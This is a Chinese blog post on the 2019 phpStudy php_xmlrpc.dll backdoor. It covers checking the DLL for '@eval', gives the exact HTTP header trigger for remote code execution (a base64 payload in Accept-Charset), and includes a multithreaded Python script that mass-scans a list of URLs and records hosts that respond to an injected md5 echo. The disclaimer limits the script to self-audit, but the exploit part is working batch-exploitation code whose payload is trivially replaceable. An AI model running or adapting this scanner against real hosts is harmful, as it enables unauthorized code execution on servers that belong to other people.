美文网首页
phpstudy 后门批量利用脚本改良版 ——yzddMr6

phpstudy 后门批量利用脚本改良版 ——yzddMr6

作者: yzddMr6 | 来源:发表于2019-11-07 17:00 被阅读0次

    前言

    看到新闻后本来以为影响范围小没多大事。。。

    直到发现自己的两个电脑全都中招了才意识到问题大了。。。

    不过还好自己当初安装phpstudy后第一时间关了对外端口,只允许本地127.0.0.1访问

    并且用的一直是php5.6,完美避开两个后门版本

    如果不是新闻爆出来谁能想到这玩意还有后门。。。

    awsl,这谁顶得住啊。

    后门检测

    后门版本:

    phpStudy2016 和 phpStudy2018 自带的 php-5.2.17、php-5.4.45两个版本

    phpStudy2016路径

    php\php-5.2.17\ext\php_xmlrpc.dll
    php\php-5.4.45\ext\php_xmlrpc.dll
    

    phpStudy2018路径

    PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
    PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl
    

    用记事本打开文件,查找@eval

    如果存在@eval(%s('%s'))那么恭喜你中奖了

    (附上本人中奖截图)

    image

    后门利用

    原理就不说了,直接看如何利用

    只要在任意一个php页面上加上这两个文件头即可达到RCE

    Accept-Encoding: gzip,deflate
    Accept-charset: cGhwaW5mbygpOw==  //phpinfo();
    

    其中Accept-Encoding中的gzip,deflate中间注意是没有空格的

    这是后门触发的一个关键

    Accept-charset中填写base64编码后的payload

    image

    批量脚本

    脚本现在已经有很多了,自己也懒得写了

    可以直接看清心师傅的博客

    https://www.cnblogs.com/-qing-/p/11575622.html

    但是有个问题就是清心的脚本误报特别高

    原因是他是利用执行echo qing;后查看返回页面中有没有qing这个单词来判断的

    然而实际上很多页面中本来就附带有这个单词,不具有特征性,就产生了大量误报。

    所以自己改了一下脚本内容,使其准确率达到了百分之百

    主要修改内容

    1. 用echo md5(123)代替echo qing

    2. 自定义检测文件名

    3. 关了https警告

    import base64
    
    import requests
    
    import threading
    
    import threadpool
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    files=input('files:\n')
    
    def write_shell(url):
    
        payload = "echo md5(123);"
    
        payload = base64.b64encode(payload.encode('utf-8'))
    
        headers = {
    
        'Upgrade-Insecure-Requests': '1',
    
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
    
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    
        'Accept-Language': 'zh-CN,zh;q=0.9',
    
        'accept-charset': payload,
    
        'Accept-Encoding': 'gzip,deflate',
    
        'Connection': 'close',
    
    }
    
        try:
    
            r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=10)
    
            if "202cb962ac59075b964b07152d234b70" in r.text:
    
                print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
    
                with open(files+'.success.txt','a') as f:
    
                        f.write(url+'\n')
    
            else:
    
                print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
    
        except:
    
            print ('[ - ] Timeout: '+url+' [ - ]\n')
    
    
    
    def main():
    
        with open(files,'r') as f:
    
            lines = f.read().splitlines()
    
            task_pool=threadpool.ThreadPool(10)
    
            requests=threadpool.makeRequests(write_shell,lines)
    
        for req in requests:
    
            task_pool.putRequest(req)
            task_pool.wait() 
    
    if __name__ == '__main__':
        main()
    
    
    ## 警告!
    
    **脚本仅用于资产自查,请勿用于非法用途!**

    相关文章

      网友评论

          本文标题:phpstudy 后门批量利用脚本改良版 ——yzddMr6

          本文链接:https://www.haomeiwen.com/subject/ahvvbctx.html